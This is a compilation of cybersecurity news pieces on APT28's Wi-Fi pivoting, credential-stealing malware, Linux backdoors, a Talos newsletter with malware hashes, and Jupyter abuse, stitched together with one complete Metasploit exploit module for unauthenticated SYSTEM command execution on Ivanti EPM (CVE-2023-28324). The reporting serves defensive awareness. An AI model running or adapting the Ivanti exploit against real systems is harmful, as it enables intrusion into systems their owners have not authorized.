In a first, Russia's APT28 hacking group appears to have remotely breached the Wi-Fi of an espionage target by hijacking a laptop in another building across the street.

For determined hackers, sitting in a car outside a target's building and using radio equipment to breach its Wi-Fi network has long been an effective but risky technique. These risks became all too clear when spies working for Russia's GRU military intelligence agency were caught red-handed on a city street in the Netherlands in 2018 using an antenna hidden in their car's trunk to try to hack into the Wi-Fi of the Organization for the Prohibition of Chemical Weapons.

Since that incident, however, that same unit of Russian military hackers appears to have developed a new and far safer Wi-Fi hacking technique: Instead of venturing into radio range of their target, they found another vulnerable network in a building across the street, remotely hacked into a laptop in that neighboring building, and used that computer's antenna to break into the Wi-Fi network of their intended victim—a radio-hacking trick that never even required leaving Russian soil.

At the Cyberwarcon security conference in Arlington, Virginia, today, cybersecurity researcher Steven Adair will reveal how his firm, Volexity, discovered that unprecedented Wi-Fi hacking technique—what the firm is calling a “nearest neighbor attack"—while investigating a network breach targeting a customer in Washington, DC, in 2022. Volexity, which declined to name its DC customer, has since tied the breach to the Russian hacker group known as Fancy Bear, APT28, or Unit 26165. Part of Russia's GRU military intelligence agency, the group has been involved in notorious cases ranging from the breach of the Democratic National Committee in 2016 to the botched Wi-Fi hacking operation in which four of its members were arrested in the Netherlands in 2018.

In this newly revealed case from early 2022, Volexity ultimately discovered not only that the Russian hackers had jumped to the target network via Wi-Fi from a different compromised network across the street, but also that this prior breach had _also_ potentially been carried out over Wi-Fi from yet another network in the same building—a kind of “daisy-chaining” of network breaches via Wi-Fi, as Adair describes it.

“This is the first case we’ve worked where you have an attacker that’s extremely far away and essentially broke into other organizations in the US in physical proximity to the intended target, then pivoted over Wi-Fi to get into the target network across the street,” says Adair. “That’s a really interesting attack vector that we haven’t seen before.”

A slide describing the “nearest neighbor attack” that Russian hackers used to breach a DC network via Wi-Fi, from the Cyberwarcon presentation of Volexity founder Steven Adair.

Illustration: Volexity

Based on the hackers' targeting of individuals within their customer's network, Adair says that the GRU hackers appear to have been seeking intelligence about Ukraine. It's no coincidence, he says, that the daisy-chained Wi-Fi-based intrusion was carried out in the months just before and after Russia's initial full-scale invasion of Ukraine in February 2022.

Adair argues, though, that the case should serve as a broader warning about cybersecurity threats to Wi-Fi for high-value targets—and not just from the usual suspects loitering in the parking lot or the lobby. “Now we know that a motivated nation-state is doing this and has done it,” says Adair, “It puts on the radar that Wi-Fi security has to be ramped up a good bit.” He suggests organizations that might be the target of similar remote Wi-Fi attacks consider limiting the range of their Wi-Fi, changing the network's name to make it less obvious to potential intruders, or introducing other authentication security measures to limit access to employees.

Adair says that Volexity first began investigating the breach of its DC customer's network in the first months of 2022, when the company saw signs of repeated intrusions into the customer's systems by hackers who had carefully covered their tracks. Volexity's analysts eventually traced the compromise to a hijacked user's account connecting to a Wi-Fi access point in a far end of the building, in a conference room with external-facing windows. Adair says he personally scoured the area looking for the source of that connection. “I went there to physically run down what it could be. We looked at smart TVs, looked for devices in closets. Is someone in the parking lot? Is it a printer?” he says. “We came up dry.”

Only after the next intrusion, when Volexity managed to get more complete logs of the hackers' traffic, did its analysts solve the mystery: The company found that the hijacked machine which the hackers were using to dig around in its customer's systems was leaking the name of the domain on which it was hosted—in fact, the name of another organization just across the road. “At that point, it was 100 percent clear where it was coming from,” Adair says. “It's not a car in the street. It's the building next door.”

With the cooperation of that neighbor, Volexity investigated that second organization's network and found that a certain laptop was the source of the street-jumping Wi-Fi intrusion. The hackers had penetrated that device, which was plugged into a dock connected to the local network via Ethernet, and then switched on its Wi-Fi, allowing it to act as a radio-based relay into the target network. Volexity found that, to break into that target's Wi-Fi, the hackers had used credentials they'd somehow obtained online but had apparently been unable to exploit elsewhere, likely due to two-factor authentication.

Volexity eventually tracked the hackers on that second network to two possible points of intrusion. The hackers appeared to have compromised a VPN appliance owned by the other organization. But they had also broken into the organization's Wi-Fi from _another_ network's devices in the same building, suggesting that the hackers may have daisy-chained as many as three networks via Wi-Fi to reach their final target. “Who knows how many devices or networks they compromised and were doing this on,” says Adair.

In fact, even after Volexity evicted the hackers from their customer's network, the hackers tried again that spring to break in via Wi-Fi, this time attempting to access resources that were shared on the guest Wi-Fi network. “These guys were super persistent,” says Adair. He says that Volexity was able to detect this next breach attempt, however, and quickly lock out the intruders.

Volexity had presumed early on in its investigation that the hackers were Russian in origin due to their targeting of individual staffers at the customer organization focused on Ukraine. Then in April, fully two years after the original intrusion, Microsoft warned of a vulnerability in Windows' print spooler that had been used by Russia's APT28 hacker group—Microsoft refers to the group as Forest Blizzard—to gain administrative privileges on target machines. Remnants left behind on the very first computer Volexity had analyzed in the Wi-Fi-based breach of its customer exactly matched that technique. “It was an exact one-to-one match,” Adair says.

The notion that APT28 would be behind the daisy-chained Wi-Fi hacking makes sense, says John Hultquist, the founder of Cyberwarcon who also leads threat intelligence at Google-owned cybersecurity firm Mandiant and has long tracked the GRU hackers. He sees the technique Volexity uncovered as the natural evolution of APT28's “close-access” hacking methods, in which the GRU has sent small traveling teams in person to hack into target networks via Wi-Fi if other methods failed.

“This is essentially a close-access op like they’ve done in the past, but without the close access,” Hultquist says.

The switch to hacking via Wi-Fi from a remotely compromised device rather than physically placing a spy nearby represents a logical next step following the GRU's operational security disaster in 2018, when its hackers were caught in a car in The Hague attempting to hack the Organization for the Prohibition of Chemical Weapons in response to the OPCW's investigation of the attempted assassination of GRU defector Sergei Skripal. In that incident, the APT28 team was arrested and their devices were seized, revealing their travel around the world from Brazil to Malaysia to carry out similar close-access attacks.

“If a target is important enough, they’re willing to send people in person. But you don’t have to do that if you can come up with an alternative like what we’re seeing here,” Hultquist says. “This is potentially a major improvement for those operations, and it’s something we’ll probably see more of—if we haven’t already.”

Russian Spies Jumped From One Network to Another Via Wi-Fi in an Unprecedented Hack

Malware bypasses Microsoft Defender and 2FA, stealing $24K in cryptocurrency via a fake NFT game app. Learn how…

Malware bypasses Microsoft Defender and 2FA, stealing $24K in cryptocurrency via a fake NFT game app. Learn how it compromised devices and evaded security.

Cybersecurity researchers at SafetyDetectives revealed that Microsoft Defender, the default Windows antivirus, was deceived by malware, enabling the theft of cryptocurrency from an unsuspecting user. The issue was uncovered during the analysis of a seemingly harmless NFT game app, which was actually designed to steal cryptocurrency.

The application also compromised the device by bypassing **Google’s two-factor authentication** and stole over $24,000 in cryptocurrency. According to researchers, the malware, once installed, quietly operates in the background, gathering sensitive information and may even hijack the user’s Google account, which is protected by two-factor authentication (2FA). It achieves this by installing a malicious Chrome extension disguised as Google Keep, bypassing the 2FA security measures.

During the investigation, SafetyDetectives’ team tested Microsoft Defender against the malware-laced app, using Wireshark to monitor network traffic and detect the malware’s location.

Surprisingly, Microsoft Defender failed to stop the virus during its installation and execution, allowing the malware to gain access to system operations, download suspicious files, collect sensitive information, and even determine the user’s location.

The malware was programmed to shut down if the user was in Russia, Ukraine, or Belarus, likely due to its origin. The **fake Chrome extension** enabled the malware to access every website visited, steal login data, and monitor anything copied from the browser. The virus collected everything necessary to remotely control the system, and Microsoft Defender didn’t send an alert.

****Bitdefender and Malwarebytes to the Rescue****

To assess the effectiveness of other antivirus solutions, the team also tested Malwarebytes and Bitdefender. While neither antivirus was able to prevent the initial installation, they did intervene at later stages of the attack. Bitdefender blocked the malware’s attempt to access critical information, while Malwarebytes prevented the installation altogether. 

“While Malwarebytes stopped the breach faster than Bitdefender, neither is inherently better in dealing with this specific malware, as both were able to prevent critical compromise. Bitdefender may even have the benefit of having fewer false positives,” they explained in the **blog post**.

It could be that in recent years, Microsoft Exchange Server has been targeted by a **series** of zero-day vulnerabilities, some of which could have impacted Microsoft Defender’s ability to protect systems. Or supply chain attacks, like the **SolarWinds hack**, can compromise software updates and tools, potentially affecting the integrity of security solutions like Microsoft Defender.

Nevertheless, the investigation emphasizes the importance of investing in stronger antivirus software and exercising caution when downloading and installing applications, especially from unverified sources. Staying informed about cyber threats and taking proactive measures can significantly reduce the risk of malicious attacks.

1.  Microsoft Defender Flags Tor Browser as Malware
2.  Fake ChatGPT Extension Hijacks Facebook Accounts
3.  Malicious Extensions Bypass Google’s MV3 Restrictions
4.  Fake Sites Spread Malware as Malwarebytes, Bitdefender
5.  Phemedrone Exploits Windows Defender SmartScreen Flaw

Malware Bypasses Microsoft Defender and 2FA to Steal $24K in Crypto

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Norton Introduces Small Business Premium for Business-Grade Security

In a sign of the times, a backdoor malware whose ancestors date back to 2005 has morphed to target Linux systems.

Source: Imagebroker via Alamy Stock Photo

Two well-documented Chinese backdoors have recently been modified to operate on Linux systems.

The advanced persistent threat (APT) "Gelsemium" is a decade old now, and the new malware tied to the group, Wolfsbane and Firewood, can trace their lineage back to 2005. Throughout its history, Gelsemium has focused on information gathering from Windows systems. Now, it has adjusted its tooling to operate just as effectively in Linux environments.

This, experts say, is merely the latest manifestation of a long-brewing trend.

"The Linux malware landscape is certainly accelerating," says Jason Soroko, senior fellow at Sectigo. "The increase does make sense, as organizations have heavily adopted Linux for their back office server needs, both on premises and in the cloud. Adversaries are developing cross-platform malware to maximize their reach."

**The Wolfsbane & Firewood Backdoors**

The first public sample of the first new backdoor, dubbed Wolsbane, was uploaded to VirusTotal on March 6, 2023, from Taiwan, with later uploads coming from the Philippines and Singapore (historically, Gelsemium has targeted entities in the Middle East and East Asia).

Contextual evidence suggests that the malware's authors have been exploiting vulnerabilities in Java Web applications to access public-facing Apache Tomcat servers. And a deeper look inside reveals unmistakable overlaps with Gelsevirine, a Windows backdoor known to be used by Gelsemium. In essence, the Wolfsbane malware was a Linux port of Gelsevirine, featuring a modified Beurk Experimental Unix RootKit to hide its various malicious activities.

Alongside Wolfsbane, though not definitively attributable to Gelsemium, was a second Linux-ported backdoor, Firewood. An addition to its varied and typical backdoor capabilities, it possesses a kernel-level rootkit. 

Most interestingly, Firewood appears to be the latest evolution of "Project Wood," a phylum of a backdoor that traces back generations to a program first compiled in January 2005. The latest manifestation of Project Wood before Firewood, NSPX30, was reported earlier this year.

**What Explains the Surge in Linux Cyber Threats?**

Cyber threats rise across the board every year, but the particular rise in Linux-based threats stands out. 

Since at least 2020, vendors have tracked double- and triple-digit year-over-year increases in Linux attacks. In its annual "Global Threat Report," Elastic Security has regularly found that the Linux threat landscape vastly outpaces that of macOS, more closely resembling Windows in terms of sheer volume of attacks. In 2023, for example, it found that 54% of endpoint attacks affected Linux-based devices, compared with just 39% for Windows.

Over the past 12 months, around 32% of malware infections have targeted Linux, according to Jake King, Elastic's head of threat and security intelligence. "While steadily increasing, we are seeing greater volumes of attacks and, in some cases, with greater levels of sophistication. The XZ/Liblzma backdoor discovered by researchers earlier this year shows the desire of adversaries to compromise Linux hosts, likely for a variety of reasons, growing in sophistication to supply chain compromise," he says.

The rising threats to Linux may be attributable to an increasing adoption of Linux in enterprise environments, as Soroko alluded to, or the generally improving state of Windows security — the explanation ESET went with in its blog post — or an explanation even simpler.

"One of the reasons for growing observations can always be targeted to adversarial focus changing, but it is also likely that security tooling and telemetry for Linux hosts are improving at a pace whereby attacks are identified earlier, with a greater level of context," King suggests. For example, "A growing trend for threat observations this year was Impaired Defenses for Linux, showing that adversaries are specifically looking to bypass security tools native to Linux or disable third-party security tools. This is important, as it shows we're exposing many attacks that would have previously gone undetected years ago."

**About the Author**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

Chinese APT Gelsemium Deploys 'Wolfsbane' Linux Variant

The Threat Source Newsletter is back! William Largent discusses bidirectional communication in the SOC, and highlights new Talos research including the discovery of PXA Stealers.

Thursday, November 21, 2024 14:02

Welcome to this week’s edition of the Threat Source newsletter. 

Bidirectional communication is foundational to a well-built team regardless of environment. It’s critical in information security to be able to drive a conversation up the ladder and down and not lose the critical elements. One of the most difficult challenges that cyber security teams face is making sure that everyone that is in a decision-making space is aware of the highly technical challenges that the evolving threat landscape dictates. Navigating the challenges that come in continually evolving the team and it’s tools to defend is often a much greater challenge. I’m going to help you with those conversations. In both directions. By talking about drumming. I know, I don’t have the pro wrestling takes that Jon came to the table with, so you’re going to have to run with me Constant Reader.  

I’m going to choose drumming to outline an easy way to identify some complex issues and talk about them in both directions and drumming is a little easier to identify for non-musicians and FAR less contentious than a spicy guitar opinion. Ok, so let’s start with a simple concept.  

 Sounds difficult. Is difficult.    
Sounds difficult. Is easy.   
Sounds easy. Is difficult.     
Sounds easy. Is easy.  

 Sounds difficult. Is difficult. This one is easy – Tomas Haake from Meshuggah playing Bleed is a perfect example. Polyrhythms, stamina, speed, interdependence, and complexity. This sounds difficult. It is difficult. Only the criminally insane attempt to learn how to play this song.  

Sounds easy. Is easy. Take Phil Rudd and pick any AC/DC song from Back in Black. The perfect example of sounds easy, is easy. Perfectly in the pocket.  

Sounds easy. Is difficult. This one is harder and will cause someone to wellackshully and I assure you I do not care. I’m going to give two examples, Jeff Porcaro of Toto playing Rosanna and Vinnie Colaiuta playing Seven Days with Sting. Both of these songs are immensely easy to listen to and don’t seem like there’s anything challenging going on. Until you try to play along, then you cry and examine all the choices you’ve made in life.  

Sounds difficult. Is easy. This is going to be a sticky situation, but I’d say that you could throw on anything by Travis Barker and Dave Lombardo. Bring it haters. I’m not saying that they are bad drummers – simply that what they do sounds more difficult than it is.  

Ok William, but how does this help me at all?  

When you have information security meetings with people in your organization take a second as you look at the agenda, and your conversation in specific, and think about the groupings above and determine what kind of drumming you are hearing. Depending on your environment and team the topics will fall naturally into these categories – it can be patch and vulnerability management,  EOL devices that need to be replaced, endpoint detection and response, deciding what traffic is actionable and defining that in your SIEM, forensic analysis, threat hunting, event response, the conversations are as malleable as the threat landscape.  

It’s easy to isolate the things in your environment that are very difficult to defend AND take a skilled defender and complex tooling to defend. Those conversations flow with either junior analysts or C-Level executives. This is the “Sounds difficult. Is difficult.” type of conversation. Ditto the “Sounds easy. Is easy.” conversations are easy to have in either direction. The most difficult topics to convey fall into the “Sounds difficult. Is easy.” or “Sounds easy. Is difficult.” In my experience these conversations are usually much easier to deliver in one direction and much more difficult in the other. Jazz guys enjoy the nuance of Colaiuta and can’t wrap their minds around Lombardo while metalheads love him and don’t want to be bothered by ghost notes. By taking a moment to dissect your topic and determine where you are going to run into the “Sounds difficult. Is easy.” or the “Sounds easy. Is difficult.” situation it will allow you to prepare for those more challenging conversations so that you can craft a narrative to best capture the nuance that might be lost in a highly technical conversation with a C-Level exec, or the motivation for waiting for the next financial quarter for new tooling that the analysts really need.  

I’m not going to lie - you can prepare this way and things can still fall on deaf ears, they can still underestimate the lift required because people are fallible but if you prepare just a bit and know your audience you can drag your C-Level into a discussion on polyrhythm and pull your junior analyst up with a little Vinnie Colaiuta and make them all feel like Phil Rudd.   

**The one big thing **

Cisco Talos discovered a new information stealing campaign operated by a Vietnamese-speaking threat actor targeting government and education entities in Europe and Asia. PXA Stealer targets victims’ sensitive information, including credentials for various online accounts, VPN and FTP clients, financial information, browser cookies, and data from gaming software. PXA Stealer also has the capability to decrypt the victim’s browser master password and uses it to steal the stored credentials of various online accounts. 

**Why do I care? **

Harvested credentials can allow attackers direct access to your environment without the need to exploit vulnerabilities or face any of your defensive architecture – they can just log in. Cisco Talos Incident Response has observed an increasing number of engagements where this is the case.  

**So now what? **

Cisco Talos has released several Snort rules and ClamAV signatures to detect and defend against PXA Stealer.   

**Top security headlines of the week **

Attackers are continuing to upload hundreds of malicious packages to the open-source node package manager (NPM) repository in an attempt to infect the devices of developers that rely on these libraries. (Ars Tecnica) 

Cybersecurity and Infrastructure Security Agency (CISA) has confirmed that it's director Jen Easterly will step down from her position on President-elect Donald Trump's Inauguration Day. (Dark Reading) 

Palo Alto Networks has released a patch to fix a critical vulnerability in some instances of its firewall management interfaces. PAN observed threat activity exploiting an unauthenticated remote command execution vulnerability against firewall management interfaces. (Bleeping Computer,  Dark Reading)   

**Can’t get enough Talos? **

*   Unwrapping the emerging Interlock ransomware attack 
*   Talos Takes on Interlock 
*   November Patch Tuesday release contains three critical remote code execution vulnerabilities 
*   It's Taplunk! Talos and Splunk threat researchers meet to put the security world to rights 

**Upcoming events where you can find Talos **

 CyberCon Romania

(Nov 21-22)    
Bucharest, Romania 

 Martin Lee from Cisco Talos will speak on a panel discussion Maintaining Resilience for a Secure Cyber Infrastructure.  

misecCON (Nov. 22)    
Lansing, Michigan 

Terryn Valikodath from Cisco Talos Incident Response will explore the core of DFIR, where digital forensics becomes detective work and incident response turns into firefighting. 

AVAR

(Dec 4-6)    
Chennai, India 

 Vanja Svancer and Chetan Raghuprasad from Cisco Talos will both present, Vanja will be discussing Exploring Vulnerable Windows Drivers, while Chetan presents Sweet and Spicy Recipes for Government Agencies by SneakyChef.  

**Most prevalent malware files from Talos telemetry over the past week  **

SHA 256: c20fbc33680d745ec5ff7022c282a6fe969c6e6c7d77b7cfac34e6c19367cf9a  

MD5: 3bc6d86fc4b3262137d8d33713ed6082  

Typical Filename: 8c556f0a.dll  

Claimed Product: N/A  

Detection Name: Gen:Variant.Lazy.605353  

 SHA 256: bea312ccbc8a912d4322b45ea64d69bb3add4d818fd1eb7723260b11d76a138a 

MD5: 200206279107f4a2bb1832e3fcd7d64c 

Typical Filename: lsgkozfm.bat 

Claimed Product: N/A 

Detection Name: Win.Dropper.Scar::tpd   

SHA 256: 47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca  

MD5: 71fea034b422e4a17ebb06022532fdde  

Typical Filename: VID001.exe  

Claimed Product: N/A  

Detection Name: RF.Talos.80  

SHA 256: 3a2ea65faefdc64d83dd4c06ef617d6ac683f781c093008c8996277732d9bd66  

MD5: 8b84d61bf3ffec822e2daf4a3665308c  

Typical Filename: RemComSvc.exe  

Claimed Product: N/A  

Detection Name: W32.3A2EA65FAE-95.SBX.TG

Bidirectional communication via polyrhythms and shuffles: Without Jon the beat must go on

This Metasploit module leverages an unauthenticated remote command execution vulnerability in Ivanti's EPM Agent Portal where an RPC client can invoke a method which will run an attacker-specified string on the remote target as NT AUTHORITY\SYSTEM. This vulnerability is present in versions prior to EPM 2021.1 Su4 and EPM 2022 Su2.

    # This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-frameworkrequire 'rex/proto/ms_nrtp/client'class MetasploitModule < Msf::Exploit::Remote  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::Tcp  Rank = ExcellentRanking  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Ivanti EPM Agent Portal Command Execution',        'Description' => %q{          This module leverages an unauthenticated RCE in Ivanti's EPM Agent Portal where a RPC client can invoke a method          which will run an attacker-specified string on the remote target as NT AUTHORITY\SYSTEM.          This vulnerability is present in versions prior to EPM 2021.1 Su4 and EPM 2022 Su2.        },        'Author' => [          'James Horseman', # original poc          'Zach Hanley', # original poc          'Spencer McIntyre' # metasploit module        ],        'License' => MSF_LICENSE,        'References' => [          ['CVE', '2023-28324'],          ['URL', 'https://forums.ivanti.com/s/article/SA-2023-06-06-CVE-2023-28324?language=en_US'],          ['URL', 'https://github.com/horizon3ai/CVE-2023-28324'],        ],        'Platform' => 'win',        'Arch' => ARCH_CMD,        'Targets' => [          [ 'Automatic', {} ],        ],        'DefaultTarget' => 0,        'DisclosureDate' => '2023-06-07', # Ivanti article created date        'Notes' => {          'Stability' => [ CRASH_SAFE, ],          'SideEffects' => [ ],          'Reliability' => [ REPEATABLE_SESSION, ]        }      )    )    register_options([      Opt::RPORT(nil, true, 'The target port is not static. For more info, see this module\'s Verifications Steps in the docs.'),    ])    deregister_options('SSL')  end  def check    cwd = execute_command('echo %cd%', 0)    return CheckCode::Safe('Command execution failed.') unless cwd.to_s =~ /.:\\Windows\\System32/i    CheckCode::Vulnerable("Command execution test succeeded. Current working directory: #{cwd}")  rescue Rex::SocketError => e    CheckCode::Safe("MS-NRTP connection failed. #{e.class}: #{e.message}")  end  def exploit    execute_command(payload.raw)  end  def execute_command(command, result_delay = -1)    if @nrtp_client.nil?      @nrtp_client = client = IAgentPortal.new(        datastore['RHOST'],        datastore['RPORT'],        'LANDeskAgentPortal/LDSM',        context: { 'Msf' => framework, 'MsfExploit' => self }      )      client.connect      vprint_status('Connected to the remote end point')    else      client = @nrtp_client    end    client.do_request(command)    return nil unless result_delay >= 0    sleep result_delay    client.do_get_result  endendclass IAgentPortal < Rex::Proto::MsNrtp::Client  def recv_binary    Msf::Util::DotNetDeserialization::Types::SerializedStream.read(recv)  end  def send_recv_binary(serialized_stream)    send_binary(serialized_stream)    recv_binary  end  def do_request(shell_command)    ss_response = send_recv_binary(ss_request(shell_command))    method_return = ss_response.records.find { |record| record.record_type == Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodReturn] }    method_return.record_value.return_value.val.value  end  def do_get_result    ss_response = send_recv_binary(ss_get_result)    ass = ss_response.records.find { |record| record.record_type == Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleString] }    return nil unless ass    ass.record_value.members.first.record_value.string.value  end  private  def ss_get_result    Msf::Util::DotNetDeserialization::Types::SerializedStream.new({      records: [        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SerializedStreamHeader], record_value: { major_version: 1 } },        {          record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodCall],          record_value: {            message_enum: {              no_context: 1,              args_inline: 1            },            method_name: 'GetResult',            type_name: 'LANDesk.AgentPortal.IAgentPortal, AgentPortal, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb',            args: [{ primitive_type_enum: Msf::Util::DotNetDeserialization::Enums::PrimitiveTypeEnum[:String], val: 'localhost' }]          }        },        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MessageEnd] }      ]    })  end  def ss_request(shell_command)    Msf::Util::DotNetDeserialization::Types::SerializedStream.new({      records: [        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SerializedStreamHeader], record_value: { root_id: 1, header_id: -1, major_version: 1, minor_version: 0 } },        {          record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodCall],          record_value: {            message_enum: {              method_signature_in_array: 1,              no_context: 1,              args_in_array: 1            },            method_name: 'Request',            type_name: 'LANDesk.AgentPortal.IAgentPortal, AgentPortal, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb'          }        },        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleObject], record_value: { array_info: { obj_id: 1, member_count: 2 } } },        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 2 } },        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 3 } },        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleObject], record_value: { array_info: { obj_id: 2, member_count: 4 } } },        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 4, string: 'localhost' } },        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 5 } },        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 6, string: 'cmd.exe' } },        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 7, string: "/c #{shell_command}" } },        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryArray], record_value: { obj_id: 3, binary_array_type_enum: 0, rank: 1, lengths: [4], type_enum: 3, additional_type_info: 'System.Type' } },        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } },        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 9 } },        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } },        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } },        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryLibrary], record_value: { library_id: 11, library_name: 'APCommon, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb' } },        {          record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ClassWithMembersAndTypes],          record_value: {            class_info: { obj_id: 5, name: 'LANDesk.AgentPortal.IAgentPortalBase+ActionEnum', member_count: 1, member_names: ['value__'] },            member_type_info: { binary_type_enums: [0], additional_infos: [8] },            library_id: 11,            member_values: [1]          }        },        {          record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SystemClassWithMembersAndTypes],          record_value: {            class_info: { obj_id: 8, name: 'System.UnitySerializationHolder', member_count: 3, member_names: ['Data', 'UnityType', 'AssemblyName'] },            member_type_info: { binary_type_enums: [1, 0, 1], additional_infos: [8] },            member_values: [{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 12, string: 'System.String' } }, 4, { record_type: 6, record_value: { obj_id: 13, string: 'mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' } }]          }        },        {          record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ClassWithId],          record_value: {            obj_id: 9,            metadata_id: 8,            member_values: [              { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 14, string: 'LANDesk.AgentPortal.IAgentPortalBase+ActionEnum' } },              4,              { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 15, string: 'APCommon, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb' } }            ]          }        },        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MessageEnd], record_value: {} }      ]    })  endend

Ivanti EPM Agent Portal Command Execution

Aqua Nautilus’ research reveals hackers are leveraging vulnerable and misconfigured Jupyter Notebook servers to steal live sports streams.…

Aqua Nautilus’ research reveals hackers are leveraging vulnerable and misconfigured Jupyter Notebook servers to steal live sports streams. Learn about the techniques used, the risks involved, and how to protect your organization from similar attacks.

Cybersecurity researchers at Aqua Nautilus uncovered a novel attack technique where threat actors exploited misconfigured JupyterLab and Jupyter Notebook servers to illegally stream sports events, drop live streaming capture tools, and duplicate broadcasts on their illegal server, causing stream ripping.

Unfortunately, illegal live streaming of sports events is a growing issue, impacting broadcasters, leagues, and legitimate platforms. With readily available streaming tools and high-speed internet, unauthorized broadcasts are flourishing, causing financial losses for both major leagues and smaller teams dependent on viewership revenue.

The targeted source streamed the UEFA Champions League match between Shakhtar Donetsk and BSC Young Boys on November 6, 2024 (Screenshot: Aqua Nautilus)

“The problem is widespread, with 5.1 million adults in England, Scotland, and Wales admitting to watching an illegal stream during the first six of last year,” researchers noted in the blog post. 

In this instance, the red flag was the seemingly harmless tool, ffmpeg. This open-source software is widely used for video processing and streaming. While threat intelligence confirmed its legitimacy, closer inspection revealed a twist. The attackers exploited misconfigured JupyterLab and Jupyter Notebook environments to gain access and deploy ffmpeg for live stream ripping.

The attack started with exploiting unauthenticated access to JupyterLab or Jupyter Notebook, which allowed remote code execution. The attackers then updated the server and downloaded ffmpeg, which was repurposed to capture live sports streams and redirect them to a malicious server. 

This reveals that the MITRE ATT&CK framework was used in an attack, where adversaries gained access through misconfigured Jupyter Notebook and JupyterLab environments. Attackers installed and ran ffmpeg, exfiltrated video content, and used the victim’s bandwidth to transfer the stolen streaming data.

This exploitation can result in “denial of service, data manipulation, data theft, corruption of AI and ML processes, lateral movement to more critical environments and, in the worst-case scenario, substantial financial and reputational damage,” researchers explained.

Attack flow (Screenshot: Aqua Nautilus)

Though seemingly minor in its immediate impact on organizations, the attack indicates the importance of behavioural analysis. Traditional security solutions might overlook such activity. However, the unusual deployment and execution of ffmpeg for live-stream capture alerted Aqua Nautilus’ security team. By analyzing network traffic, files, and memory dumps, Aqua Nautilus was able to reconstruct the entire attack sequence.

Undoubtedly, JupyterLab and Jupyter Notebook are valuable assets for data scientists, but security shortcomings can leave them vulnerable. Often, these servers are managed by individuals without a strong security background.

Leaving them connected to the internet with open access or weak firewalls allows threat actors to exploit them for attack. Token mishandling is another concern, as exposed tokens can grant full access. Thankfully, implementing best practices like restricted IPs, strong authentication, HTTPS, and proper token management can greatly lower these risks.

1.  New Jupyter infostealer delivered through the MSI installer
2.  Qubitstrike Malware Hits Jupyter Notebooks for Cloud Data
3.  New Jupyter backdoor malware steals Chrome, Firefox data
4.  NTLM Credential Theft in Python Apps Risk Windows Security
5.  PythonAnywhere Cloud Platform Abused to Host Ransomware

Hackers Exploit Misconfigured Jupyter Servers for Illegal Sports Streaming

Dubai, United Arab Emirates, 20th November 2024, CyberNewsWire

**Dubai, United Arab Emirates, November 20th, 2024, CyberNewsWire**

ANY.RUN announced the launch of Smart Content Analysis, an advanced mechanism within its Automated Interactivity feature that enables the service to automatically detonate complex malware and phishing attacks, helping users speed up their investigations and gain in-depth insights into malicious behavior. 

**About Smart Content Analysis** 

Smart Content Analysis is a mechanism that allows the ANY.RUN sandbox to execute multi-stage cyber attacks without any user involvement. It does this by following three main steps: 

*   Scanning uploaded files to locate critical components, such as URLs and email attachments. 
*   Identifying the key components detonation of which moves the attack forward, including URLs embedded within QR codes or rewritten by security filters. 
*   Engaging with the malicious content in a controlled environment, for instance, by opening URLs in a browser or running payloads found in email archive attachments to observe their behavior. 

Automated Interactivity toggle inside ANY.RUN sandbox 
